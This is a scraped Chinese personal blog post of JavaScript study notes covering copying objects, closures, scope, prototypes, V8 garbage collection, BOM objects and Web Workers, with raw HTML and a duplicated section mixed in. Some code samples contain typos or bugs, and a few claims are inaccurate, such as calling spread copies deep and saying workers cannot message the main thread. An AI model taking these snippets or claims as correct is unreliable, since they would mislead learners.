扩展运算符，只有单层对象属性或者数组时，是深拷贝，修改其属性，不会影响到其他使用该对象的属性，如果是一层以上的数据时，会变成浅拷贝，只能影响一层以上的数据，在一层的数据不受影响\nconcat()方法（可用于浅拷贝数组）\nlet hallo = [2,4,5,6,7,8,9,12] let hi = hallo.concat() console.log(hallo) console.log(hi) hi[0] = 66 console.log(hallo) console.log(hi) slice()方法（可用于浅拷贝数组）\nlet hallo = [{data: 66},2,4,5,6,7,8,9] let hi = hallo.slice() console.log(hallo) console.log(hi) hi[0].data = 123 console.log(hallo) console.log(hi) Object.assign()（将所有可枚举属性的值从原有对象拷贝到目标对象中）\nlet obj = { name: 'xiaochen', pass: 'abc123', data: { id: 1, text: \"hallo word\" } } let obja = Object.assign({},obj) console.log(obja) 该方法缺陷就是只能拷贝可枚举的属性， 好处就是Symbol类型的属性可以被拷贝\n手写浅拷贝（通过传入目标对象参数，得到一个经过浅拷贝的对象）\nlet obj = { name: 'xiaochen', pass: 'abc123', data: { id: 1, text: \"hallo word\" } } let objfu = (obj) =\u003e{ if(typeof obj ==='object' \u0026\u0026 obj !== null){ // 使用typeof判断obj参数是否是对象，并且还不是null let obja = Array.isArray(obj)?[]:{} // 使用Array.isArray()判断obj是否是数组（是数组返回true，否则返回false），这里是一个三元表达式（为true时返回[]，为false时返回{}） for(let i in obj){ // in关键字遍历obj的属性（或者数组） if(obj.hasOwnProperty(i)){ // hasOwnProperty方法可以判断该对象是否存在某个属性，存在则返回true，否则返回false obja[i] = obj[i] // 判断存在后，将obj的属性拷贝到obja的属性中（浅拷贝），属性值和属性一一对应 } } return obja }else{ return obj } } console.log(objfu(obj)) let hhh = objfu(obj) hhh.data.id =66 console.log(objfu(obj)) console.log(hhh) 深拷贝：创建一个新对象，然后复制原有的对象的基本类型值，其完全是在堆内存中创建新的内存地址，不受原有的对象的改动影响\nJSON.stringify()，通过生成一个json字符串，json字符串再转为新的对象\nlet obj = { name: 'xiaochen', pass: 'abc123', data: { id: 1, text: \"hallo word\" } } let str = JSON.stringify(obj) let obja = JSON.parse(str) console.log(obja) obj.data.id = 66 console.log(obja) console.log(obj) 注意：如果对象中的值有函数，undefined，symbol类型，使用JSON.stringify()会导致json字符串中的这个键值对会消失，不能拷贝不可枚举属性，Data类型变成字符串，不能拷贝对象原型链，拷贝RegExp类型时会变成空对象，不能拷贝正则表达式，另外对象的属性值含有NaN，Infinity（Infinity表示无穷大），-Infinity（-Infinity表示负无穷大）时，JSON序列化后变成null，不能拷贝对象的循环应用（对象成环 ，obj[key] = obj）\n手写递归深拷贝\nlet obj = { name: 'xiaochen', pass: 'abc123', data: { id: 1, text: \"hallo word\" } } function objfu(obj) { let obja = {} for(let i in obj){ if(typeof obj[i] ==='object'){ obja[i] = objfu(obj[i]) }else{ obja[i] = obj[i] } } return obja } let hhh = objfu(obj) obj.data.id = 123 console.log(hhh) console.log(obj) 这个手写递归，依然不能复制不可枚举属性和symbol类型，而且只能对一些普通对象有效，像函数之类就没有效果了\n原型链继承的缺点是原型链是内存共享的，一个发生改变，其他继承同一个的，都会发生改变\n构造函数继承的缺点是只能继承父类的方法，属性，实例，不能继承原型的实例和方法\nnew关键词的作用：执行一个构造函数，并且返回一个实例对象，根据构造函数来确定是否可以接受参数的传递\nnew执行后必然返回一个对象，这个对象可以是实例对象，也可以是构造函数return返回的指定对象\n手写new\nfunction _new(funs,...args){ if(typeof funs !=='function'){ throw \"no function\" } let obj = new Object() obj.__proto__ = Object.create(funs.prototype) let res = funs.apply(obj,...args) let isObj = typeof res === 'object' \u0026\u0026 typeof res !== null let isFuns = typeof res === 'function' return isObj || isFuns ? res:obj } 闭包：利用作用域链特性，访问局部变量\nIIFE（立即执行函数）本身创建了闭包，保留了全局作用域和当前作用域\n什么是闭包？例如：\nfunction abc(){ let a = 666 function xyz(){ console.log(a) } return xyz } let haha = abc() haha() 可以看到函数abc的返回值是xyz函数，变量haha被赋值abc函数，并且调用了xyz函数，神奇的获取到变量a的值\n关键点：xyz可以访问abc的作用域。在执行完毕abc函数，作用域并没有被销毁，而在垃圾回收中，只有被使用才不会被回收，在这里abc函数的作用域被xyz函数所使用，而且haha被调用时，执行的就是xyz函数，得到abc函数的整个定义时的词法作用域\n简单的说就是，利用作用域链（这个特指函数作用域，函数作用域具备遮蔽性），内部作用域可以获取外部作用域的变量，只有当内部作用域拥有访问整个外部作用域时，内部作用域在某个时刻被调用了，自然可以访问到外部的定义时的词法作用域，利用这个特性，内部作用域只要能在定义时词法作用域之外的地方调用，就可以实现闭包，从而访问外部定义时的词法作用域\n除了通过返回值外，还可以在定义时调用外部函数，外部函数再调用具备外部词法作用域访问能力的内部函数，也可以访问到这个定义时词法作用域，例如：\nfunction abc(){ let a = 666 function xyz(){ console.log(a) } haha(xyz) } function haha(funs){ funs() } abc() 闭包会导致内存溢出\n数组\nArray数组构造器\nlet arr = Array(3)\n当Array构造器的参数长度为0或者大于等于2时，传入的参数按顺序变成新数组的元素（参数长度为0，返回空数组）\n当Array构造器存在1个数值参数时，这个参数最大不能超过2的32次方\nArray.of()方法可以将参数按照顺序变成数组的元素，然后返回这个新数组，这个参数可以是数值（而且不会被用来创建指定长度的数组）\nArray.from()方法有3个参数，类似于数组的对象，加工函数，this作用域（加工函数中this的指向）\nlet arr = { 0:'abc', 1: 'xyz', 2: 'hallo word', length: 3 } let abc = Array.from(arr,function(value,index){ console.log(value,index,this) return value.repeat(3) },arr) console.log(abc) Array.isArray方法可以判断是否是数组\n类数组的对象（和数组类似，但是没有数组的方法）：函数的arguments，HTMLCollection，NodeList\n类数组转真数组：\nlet abc = { 0: 'hhh', 1: 'bbb', 2: 'abc', length: 3 } console.log(abc) let a = Array.from(abc) console.log(a) let b = Array.prototype.concat.apply([], abc) console.log(b) let c = Array.prototype.slice.call(abc) console.log(c) 数组扁平化（将一个多维数组转换为只有一层的数组）\n通过递归实现，只要元素还是个数组，就进行递归操作\n通过reduce函数迭代\n通过扩展运算符实现\n通过toString().split(’,’)实现\n通过flat()方法实现\n例如：\nlet arr = [2,[3,5,6,10,[1,2,3],56,88],44,66] function arrData(arr){ return arr.flat(Infinity) } console.log(arrData(arr)) // [2, 3, 5, 6, 10, 1, 2, 3, 56, 88, 44, 66] 通过JSON.stringify()和正则实现（先将数组转换为json字符串，然后通过正则(/([|])/g）过滤掉[]，得到的字符串再通过JSON.parst()转换回\nv8引擎垃圾回收\n基础类型使用栈内存（按值访问），可以使用操作系统进行处理，而引用类型的堆内存需要经常变化（使用引用内存地址访问），大小不固定，需要使用垃圾回收机制来处理\nSting和Number和Boolean和null和undefined和Symbol类型的变量将存储于栈内存，其他类型都存储于堆内存中\nv8引擎的堆内存分为2类，新生代内存和老生代内存\n在64位操作系统中，新生代内存空间为32MB\n新生代中的变量经过一次Scavenge算法回收后，就可以被放入老生代内存中\nScavenge算法将新生代内存分为from-space和to-space两个区域\n新生代内存中变量先存储在from-space区，存活的变量将转移到to-space区域，然后将那些在from-space区中不活跃的变量清除释放，执行完毕，再to-space和from-space互换\n老生代内存垃圾回收机制，Mark-Sweep（标记清除）和Mark-Compact（标记整理）\nMark-Sweep（标记清除）：先遍历堆上所有对象，并且打上标记，在代码执行完成后，对使用过的变量进行标记取消，而且存在标记的变量就是没有使用过的变量，将这些变量进行垃圾回收\nMark-Compact（标记整理）：（解决标记清除机制的内存碎片化的影响）将内存空间往一端靠拢，直接清除边界外的内存\n内存泄露：已经分配堆内存地址的对象长时间没有释放或者无法释放，造成内存长期占用，导致应用响应变慢或者崩溃的情况\n内存泄露优化：减少全局变量，使用完定时器后及时清除定时器，避免死循环\n将一个强引用类型赋值为null，并不会直接导致其被GC，而是解除其引用，方便下次GC能回收它\n解决因闭包导致的内存泄露，在不使用一个闭包函数时，应该手动将其引用变量设置为null，解除引用\nV8引擎执行JavaScript程序的阶段（因为v8使用了java虚拟机，c++编译器的技术，使JavaScript执行存在编译器）\nParse阶段：将JavaScript代码转换为AST（抽象语法树）\nIgnition阶段：解释器将AST转换为字节码，然后解析执行字节码，并且提供编译所需要的信息\nTurboFan阶段：编译器使用Ignition阶段的编译信息，将字节码转换为可执行的机器码\nOrinoco阶段：垃圾回收阶段，将不使用的内存空间进行垃圾回收\n生成AST有两个阶段，词法分析和语法分析\n词法分析阶段会将JavaScript代码解析拆成不能再分的词法单元（token），直接忽略空格\n语法分析阶段将词法单元转换为由元素逐级嵌套而成的语法结构树，这个树叫抽象语法树\nJavaScript借用方法（重用其他对象的方法和函数，无需从该对象继承）\n例如一个类数组（类数组并没有数组的方法），借用数组的方法，通过call()，apply()和bind()方法实现\nlet arrObj = { 0:'abc', 1: 'xyz', 2: 'hallo word', length: 3 } let arr1 = Array.prototype.join.bind(arrObj,',') let arr2 = Array.prototype.pop.call(arrObj) let arr3 = Array.prototype.push.apply(arrObj,['hhh']) console.log(arr1()) console.log(arr2) console.log(arr3) console.log(arrObj) 从Array.prototype可以看到这些方法是在类型的原型上定义的，当然其他自定义方法也是可以通过对象.方法的方式借用\n通过字面量（Literals）实现\n在JavaScript中，使用字面量可以代表值。它们是固定值，不是变量，就是在脚本中按字面给出的。\nlet arrObj = { 0:'abc', 1: 'xyz', 2: 'hallo word', length: 3 } let arr1 = [].join.bind(arrObj,',') console.log(arr1()) []表示Array.prototype，还有’‘表示stringObject\ncreateDocumentFragment \u0026\u0026 requestAnimationFrame渲染大量\ndocument.createDocumentFragment()会返回一个DocumentFragment对象，这个对象是DOM节点，但又不是主DOM树的一部分，其是用于创建文档片段，文档片段在内存中，将元素插入文档片段不会导致回流，而且文档片段是直接附加在主DOM树上\nwindow.requestAnimationFrame()，该方法会在浏览器的重绘之前执行一个回调函数\nDocumentFragment对象是一个没有父对象的文档对象，DocumentFragment和document区别就是DocumentFragment不是真实DOM树的一部分，但是它可以挂载在真实DOM树上\n实现渲染10000条div数据\nlet count = 0 function callback(){ const nums = 10000 // 一共插入10000条 const num = 100 // 一次插入100条 let loop = Math.ceil(nums / num) // 计算需要执行多少次 const app = document.querySelector(\"#app\") const data = 'hallo word' const vmDOM = document.createDocumentFragment() for (let i = 0; i \u003c num; i++) { const div = document.createElement(\"div\") div.innerHTML = data vmDOM.appendChild(div) } app.appendChild(vmDOM) count++ if (count \u003c loop) { window.requestAnimationFrame(callback) } } callback() document.createDocumentFragment()和直接操作DOM，测试结果说明并不是每操作一次dom都会导致渲染，而且是将短时间的dom操作合并在一起，然后统一渲染，操作10000次DOM，并不会触发10000次渲染，而是在一定的时间内的多次操作合并成一次操作，并且在一定的时间内执行该操作，最后渲染，这得益于现代浏览器的优化\nPromise/A+规范\nPromise有很多规范，ES6使用的就是Promise A+规范\nPromise A+规范：\nPromise是具备then方法的对象或者函数\nPromise需要存在3个状态：等待态（pending），成功态（fulfilled），失败态（rejected）\n并且Promise初始状态为等待（pending），在等待态（pending）状态时可以转为成功态（fulfilled）或者失败态（rejected）其中之一\n当处于成功态（fulfilled）时，不能改变其状态，还需具备一个不可改变的返回值（value）\n当处于失败态（rejected）时，也不能改变其状态，还需具备一个不可改变的返回原因（reason）\n需要提供then()方法来返回成功的结果或者失败的原因（传入2个可选参数，onFulfilled和onRejected，如果是函数的话，会在Promise执行完毕后调用，如果不是函数的话会忽略，onFulfilled和onRejected都只能被调用一次）\n当处于成功态（fulfilled）之后，执行onFulfilled，返回value，当处于失败态（rejected）之后，执行onRejected，返回reason\nthen()可在同一个Promise被多次调用，then()必须返回一个promise对象\n手写Promise\nJavaScript引擎（例如v8）可以让JavaScript符合了一些编译语言的特点（词法分析/分词，语法分析/解析，编译转换）（虽然不是提前编译执行）\n词法分析/分词(Tokenizing/Lexing)：将程序源代码分成一个个的词法单元（token），而词法分析就是将源代码转换为词法单元，具体通过符号表来确定是变量还是函数什么的\n语法分析/解析：将词法单元流转换为抽象语法树（AST, Abstract Syntax Tree）,这个抽象树表示了整个程序的语法结构\n注意：并不是词法分析器获取完全部的词法单元后在再进行语法分析的，而是先获取一个词法单元后直接进行语法分析\n编译转换：将AST语法树转换为可执行的机器码（引擎可根据语法树一边编译一边执行）\n一边编译一边执行有个缺点，当某段代码频繁执行时（例如函数）就会导致重复编译（提前编译的可以在执行前就是处理好），因此添加了一种叫JIT（Just-in-time，即时编译）\nJIT在JavaScript引擎中添加了一个监视器，可观察运行的代码，并且记录每段代码的运行次数和变量的类型\n当某段代码执行了多次，监视器就会给这段代码标识为Warm，如果是执行很多次的话，会标识为Hot\n当某段代码被标识为Warm后，JIT将其发送给基线编译器（Baseline compiler）编译，并且将编译结果存储起来，并且以行号，变量类型作为索引，当执行了符合索引的代码时，直接执行之前编译的代码，不需要重复编译\n当某段代码被标识为Hot后，JIT将其发送给优化编译器（Optimizing compiler）编译优化，是通过假设（根据概率模型）变量类型（当存在多个假设时（如果只有一个假设时，直接执行对应的编译结果），会在执行前进行类型检查，来证明假设，如果假设不成立，会导致反优化（将使用编译器或者基数编译器处理（假设多次失败实质比直接编译还慢，因此浏览器做出了限制，当出现多次优化失败时，会放弃处理这个）））\n作用域\n作用域是一套可以根据名称来查找变量的规则（每个作用域负责管理自己地方的变量），当多重嵌套作用域时，会形成作用域链，在当前作用域中查找不到，会向上一级查找，一直查找到全局作用域，如果还是没有找到就是报错\nLHS查询和RHS查询\nLHS查询是获取变量的实质内存（赋值操作，例如let a = 123），RHS查询是获取变量的值（例如console.log(a)，这个就是RHS查询）\n注意：函数传递参数也是LHS查询，只不过变量变成函数的参数而已，而且当作用域链找不到LHS查询的目标时，作用域会创建一个同名的变量到全局作用域中（隐式创建变量，前提是要在非严格模式中）\n在作用域链中，当前作用域的RHS查询或者LHS查询任务完不成，是可以到上一级作用域中完成的\n词法作用域\n作用域有两种，词法作用域和动态作用域，在JavaScript中的作用域就是词法作用域，虽然JavaScript没有动态作用域，但是可以用this来实现相似的效果\n词法作用域就是在词法分析/分词阶段的作用域，一般情况下词法作用域在定义后是不会改变的（有个例外是，欺骗词法作用域，例如利用eval或者with欺骗）\n函数的词法作用域是由函数被定义时所处的位置决定，不会被函数如何调用，在哪调用而影响\n由于作用域查找会在找到第一个目标时会停止的特性，在多重嵌套作用域环境下，其他和目标同名的会被遮蔽找不到，除了全局对象外（全局作用域下的变量会自动变成全局对象的属性（例如window.abc）,可以通过查找全局对象属性来访问到被遮蔽的变量），其他被遮蔽的无论如何都访问不了\n欺骗词法作用域\neval()允许接收一个字符串作为其参数，并且执行，例如\nfunction abc(str,b){ eval(str) console.log(a,b) } var a = 123 abc(\"var a = 666\",100) // 666 100 这里利用eval()传递并且执行了\"var a = 666\"到abc()函数中，改变了该函数的词法作用域，同时遮蔽了全局作用域中的a变量，这个前提是在非严格模式中，因为在严格模式中eval()在运行时会拥有自己的作用域，导致无法修改其所在的作用域\nwith()可以扩展语句的作用域链（注意：在ES5严格模式中，with被完全禁用了）\nlet abc ={ a: 123, b: 666 } with(abc){ a = 666 b = 123 } with()可以将对象处理成词法作用域，在with内部中对象的属性也会变成这个词法作用域的词法标识符，从而改变原来的词法作用域，例如：\nlet abc ={ a: 123, b: 666 } function xyz(obj){ with(obj){ a = 666 b = 123 } } xyz(abc) console.log(abc.a,abc.b) 函数作用域（函数会为其创建一个它私有的作用域）\n在函数中定义的变量将成为其词法作用域中的标识符，无法在外部作用域中获取，在多重嵌套作用域中，外部作用域定义的变量，可以在内部作用域访问，但是外部作用域无法访问内部作用域\n函数作用域可以用于隐藏自身不影响外部，因此也可以避免污染外部环境（命名冲突）\nIIFE（立即执行函数表达式）\n由于正常的函数名也会污染外部环境，因此可使用IIFE解决，当不需要函数名时，这玩意很有用（就算有函数名也不会污染外部）\n有两种编写方式，分别是(function abc(){})()和(function abc(){}())\n(function abc( funs ) { let xyz = { a: 123 } funs(xyz) })(function funs(xyz) { let a = 666 console.log(a) console.log(xyz.a) }) 块作用域\n在let出现之前，可以使用try/catch创建块作用域，其声明的变量只能在catch语句块中使用，例如：\ntry{ throw undefined // 手动制造异常 }catch(a){ a = 123 console.log(a) } console.log(a) // a is not defined let关键字可以将变量隐式绑定到其所在的块作用域中（{…}内部），只有其作用域内部可以访问，在外部访问会报错，使用let定义的变量是属于一个全新的作用域，而不是当前的函数作用域或者全局作用域，除let关键字外，还有const关键字也可以，只不过const定义的是常量，在定义后不能修改（修改导致报错）\n对象\n对象可通过new Object()定义，也可以通过键值对来定义\nlet obj = new Object() obj.key = \"hallo\" let obj1 = { key: \"hallo\"} 注意：null不是对象，因为JavaScript会将二进制前三位为0的变量判断为object类型，而null的二进制表示全为0，因此使用typeof判断值为null的变量的类型，会返回object\n000开头是对象，1开头是整数，010是浮点数，100是字符串，110是布尔\n注意：基础类型并不是对象，例如\"hallo word\"是字符串字面量，并不能直接修改值或者访问属性，但是JavaScript会将字符串字面量自动转换为string对象，但是这并不代表基础类型就是对象，数值字面量也会被转换为number类型\n对象是引用类型，这表示其真实的值存储中内存中，而对象内部存储的不过是指针引入，指向存储了该值的内存\n数组对象，数组内部存储的位置是索引（整数）\n注意：给数组添加属性，不要使用纯数字的属性名，因为当使用纯数字的属性名，JavaScript会将其认为是索引，从而认为其是添加一个新值，而不是添加一个属性\n复制对象（深拷贝，浅拷贝）\n对象属性描述符（es5之后属性拥有了属性描述符，例如writable（是否可以修改属性的值），enumerable（可枚举）和 configurable（可设置））\n创建属性时属性描述符默认使用默认值\nlet Obj = {} Object.defineProperty( Obj, \"key\", { value: \"hallo word\", writable: true, // 可修改属性值 configurable: true, // 可重新通过Object.defineProperty设置属性描述符 enumerable: true // 可被属性枚举，例如for in语句，如果为false，那么该属性不会出现在属性枚举中，例如in操作枚举 }); 因此可通过writable，configurable设置为false，来创建常量属性\n设置对象不再可扩展新属性，可使用Object.preventExtensions()\nlet obj1 = { key: \"hallo\"} Object.preventExtensions(obj1) obj1.nums = 666 console.log(obj.nums) // undefined 设置对象不再可扩展新属性并且不能修改现有属性的配置或者删除属性（可以修改属性值），可以使用Object.seal()\nlet obj1 = { key: \"hallo\"} Object.seal(obj1) obj1.nums = 666 console.log(obj.nums) // undefined 当然也可以在Object.seal()基础上，禁止修改属性值，Object.freeze()\nlet obj1 = { key: \"hallo\"} Object.freeze(obj1) obj1.key = \"hahaha\" // TypeError 注意：在访问属性时，会在该对象中查找是否存在名字相同的属性，如果存在就返回该属性的值，如果没有找到就会触发原型链机制\n在设置属性时，会检查是否存在描述符，检查是否设置（writable），如果不可设置，在非严格模式下静默失败，在严格模式中抛出typeerror异常错误\ngetter和setter\n定义一个可获取属性值的方法（getter），定义一个可设置属性值的方法（setter）\nlet obj1 = { key: \"hallo\", get a(){ return this.key }, set b(abc){ this.key = abc } } console.log(obj1.a) // hallo obj.b = \"hahaha\" console.log(obj1.a) // hahaha 正确地判断属性是否存在，属性值可设置为undefined，并不一定是属性不存在导致返回的undefined,解决这种情况有2种方法，一个是通过in操作符（可通过原型链查找），另一个是通过Object.hasOwnProperty()，Object.hasOwnProperty()只检查该属性是否存在该对象中，例如：\nlet obj1 = { key: 123 } (\"key\" in obj1) obj1.hasOwnProperty(\"key\") 注意：hasOwnProperty方法是object对象的内置方法，如果没有链接到object原型链上的对象，是不能使用该方法的，只能通过借用方法来使用该方法，例如：Object.prototype.hasOwnProperty. call(obj1,“key”)\n检查该属性是否可枚举\nobj1.propertyIsEnumerable(\"key\") // 返回布尔值，检查该属性是否直接存在于对象中（并不在原型链中，并且可枚举） Object.keys(obj1) // 返回数组，该数组的元素为该对象全部可枚举属性 Object.getOwnPropertyNames(obj1) // 返回数组，该数组的元素为该对象属性，不管是否可枚举，并不会返回原型链的属性，只返回该对象中直接包含的属性 遍历数组（forEach()，every()，some()）\nforEach()遍历数组中全部值，并且忽略回调函数的返回值\nevery()运行到回调函数返回false\nsome()运行到回调函数返回true\nfor of()语句会向被遍历对象请求迭代器对象，然后通过迭代器对象的next()来遍历全部返回值\n类，继承，实例化\n类简单来说就是蓝图，而实例化就是根据蓝图建造出房子\n继承是指一个子类继承了一个父类的特性（属性以及方法都被继承，当然也可以重写属性和方法），父类和子类不存在直接关系，而且父类和子类的构造函数可通过prototype联系到\n方法的多态性（取决于在哪个类的实例使用它）\njs并不支持多态，多态（或者理解为重载）实质上就是重写父类的方法，然后通过不同的类实例化，引用不同类的实例下的同名方法\n在继承链中不同级别（子类，父类，祖先类）的同一个方法名可以被多次定义，调用的是哪个方法取决于是通过哪个类实例化出来的\n原型\n当获取一个对象的属性时，但是这个属性并不直接存在于该对象中时，就会访问对象的prototype链中，例如：\nlet obj = { a: \"hallo word\", }; let obj1 = Object.create(obj) console.log(obj1.a) 上面例子中通过Object.create()创建来一个obj1.prototype可以连接到obj中的对象，哪怕obj1.a并没有在该对象中定义该属性，还是可以通过obj1.prototype获取到obj.a的属性值\n原型链查找的终点是Object.prototype，如果还是没有找到就返回undefined\n如果原型链底层中的对象存在原型链高层的相同属性名时，将会屏蔽高层的属性，因为原型链只获取最近的一个属性\nPWA，Progressive Web App（渐变式web应用），pwa技术可以将web应用具备接近原生应用的特性和用户体验，无需额外安装，支持离线缓存，消息推送等功能\npwa可通过Service Worker来进行下载，打开pwa应用后，\nService Worker：服务工作线程，独立于主线程，常驻内存，代理网络请求，依赖于HTTPS通信\nmanifest.json：让web应用具备app的效果，例如logo，启动页面\n高阶函数（惰性函数/柯里化函数/compose组合函数）\nCompose（组合函数）\n组合函数顾名思义，就是将多个函数组合在一起，当一个函数的参数是另一个函数的返回值时，导致复杂的嵌套关系例如“funs(a(b(c)))”，而Compose可以做到调用函数的扁平化，例如：\nfunction compose(...funs){ return function(...abc){ if(funs.length === 0){ return funs } if(funs.length === 1){ return funs[0] } return funs.reduce(function(a,b){ console.log(a) console.log(b) if(typeof a === \"function\"){ return b(a(...abc)) }else{ return b(a) } }) } } function a(x){ return x + 100 } function b(x){ return x * 100 } function c(x){ return x - 100 } function d(x){ return x / 100 } function e(x){ return x % 100 } let abc = compose(a,b,c,d,e)(1000) let xyz = compose(a)(1000) let hhh = compose(a,b)(1000) console.log(xyz) console.log(hhh) console.log(abc) console.log(a(b(c(d(e(1000)))))) //对比一下正确的答案 惰性函数\n柯里化函数\nclass类的装饰器（Decorator）\nSet/Map/WeakSet/WeakMap\nGenerator生成器和Interator迭代器\n","wordCount":"2654","inLanguage":"en","datePublished":"2021-07-18T22:35:00Z","dateModified":"2021-07-18T22:35:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/61/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>JavaScript知识扩展</h1><div class=post-meta><span title='2021-07-18 22:35:00 +0000 UTC'>2021-07-18</span>&nbsp;·&nbsp;13 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/JavaScript%e7%9f%a5%e8%af%86%e6%89%a9%e5%b1%95.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>函数被调用时，浏览器会传递两个参数，this和arguments</p><p>this就是函数的上下文对象，而arguments是一个数组对象（也就是可以通过索引来操作数据），函数调用时传递的参数会在arguments中保存</p><p>callee属性对应着当前的函数</p><p>例如：</p><pre><code>function abc(){
+    console.log(arguments.length);
+    console.log(arguments[0]);
+    console.log(arguments.callee);
+    console.log(this)
+}
+abc('hallo');
+</code></pre><hr><p>BOM对象 (Browser Object Model) 是指浏览器对象模型</p><p>该对象提供了浏览器行为和浏览器属性方法</p><p>windows表示整个浏览器的窗口，同时也是JavaScript最顶层的对象，其他bom对象都是其的属性</p><p>navigator包含了当前浏览器的全部信息</p><pre><code>console.log(window.navigator)
+</code></pre><p>可以看到输出了很多属性，如userAgent，language等等</p><p>location表示当前浏览器地址信息，可以用来跳转到指定地址，获取当前页面的地址等等，例如：</p><pre><code>console.log(window.location)
+const urlData = &quot;https://xiaochenabc123.test.com/;
+window.location.href = urlData;
+</code></pre><p>这个也可以实现跳转</p><pre><code>window.location.assign(&quot;https://xiaochenabc123.test.com&quot;)
+</code></pre><p>这个也可以实现跳转，不过这个不会生成历史记录，是直接用这个页面来替换当前页面</p><pre><code>window.location.replace(&quot;https://xiaochenabc123.test.com&quot;)
+</code></pre><p>reload方法可以重载页面，加上true参数将强制更新</p><pre><code>window.location.reload(true)
+</code></pre><p>history表示浏览器的历史记录</p><pre><code>console.log(window.history)
+</code></pre><p>length表示本次访问网站的数量</p><p>同时也提供了几个方法</p><p>back()返回上个页面</p><p>window.history.back()</p><p>可以绑定个点击事件，用来返回上个页面</p><p>forward()前进，一般是和back()搭配使用，一个返回上个页面，一个返回到之前的页面</p><p>window.history.forward()</p><p>go()，前进或者后退指定次数，正数为前进，负数为后退</p><p>window.history.go(-1)</p><p>screen代表用户的屏幕的信息, 获取显示器的相关信息</p><pre><code>console.log(window.screen)
+</code></pre><hr><p>call 和 apply</p><p>addEventListen()绑定事件函数</p><p>removeEventListen()移除事件函数</p><p>鼠标按下时onmousedown</p><p>鼠标移动时onmousemove</p><p>鼠标松开时onmouseup</p><hr><p>undefined代表定义未赋值</p><p>null定义并赋值了, 只是值为null</p><hr><p>document.execCommand可以操作剪贴板</p><p>document.execCommand(&lsquo;copy&rsquo;) // 复制</p><p>document.execCommand(&lsquo;cut&rsquo;) // 剪切</p><p>document.execCommand(&lsquo;paste&rsquo;) // 粘贴</p><p>Clipboard API新一代剪贴板操作方法，而且全部操作都是异步的，而且还可以将任何内容都放到剪贴板中</p><p>const NavigatorClipboard = navigator.clipboard</p><hr><p>Web Workers</p><p>Web Workers就是创建多线程的，因为JavaScript是单线程语言</p><p>Web Workers允许主线程创建Workers线程，将任务分配给Workers线程</p><p>主线程和Workers线程在运行的时候，互不干扰，当Workers线程处理完毕再将结果返回给主进程</p><p>注意：Workers线程不能和主线程进行通信，不能读取本地文件，只能通过网络文件获取，而且Worker执行的脚本文件必须要和主线程同源</p><p>创建Worker线程</p><p>var worker = new Worker(&lsquo;<a href="https://xxx.xxx/data.js'">https://xxx.xxx/data.js'</a>)</p><p>可以看出Worker构造函数的参数是一个脚本文件，例如js</p><p>注意：因为Worker不能读取本地文件，只能从网络上获取，因此会出现下载失败的情况，当下载失败的时候，不会抛出错误的</p><p>主线程和worker线程通信</p><p>worker.postMessage(&ldquo;hallo word&rdquo;)</p><pre><code>worker.onmessage = function (event) {
+    console.log('data:  ' + event.data)
+}
+</code></pre><p>当worker线程处理完毕，结果可以被event.data获取到</p><p>关闭worker线程</p><p>worker.terminate()</p><hr><p>深拷贝和浅拷贝</p><p>浅拷贝：两个变量指向同一个内存地址，修改任何一个值，另一个的值也会跟着变化</p><p>例如：</p><pre><code> var obj = {
+      name: &quot;root&quot;
+ }
+ var abc= obj
+ abc.name = &quot;admin&quot;
+ console.log(obj, adc)
+</code></pre><p>深拷贝：将对象的值复制，并且给予新的变量名和地址，改变一个值，并不会引起另一个值的变化，因为引用地址不同</p><p>例如：</p><pre><code> var obj = {
+      name: &quot;root&quot;
+ }
+ var abc = { ...obj }
+ abc.name = &quot;admin&quot;
+ console.log(obj, abc)
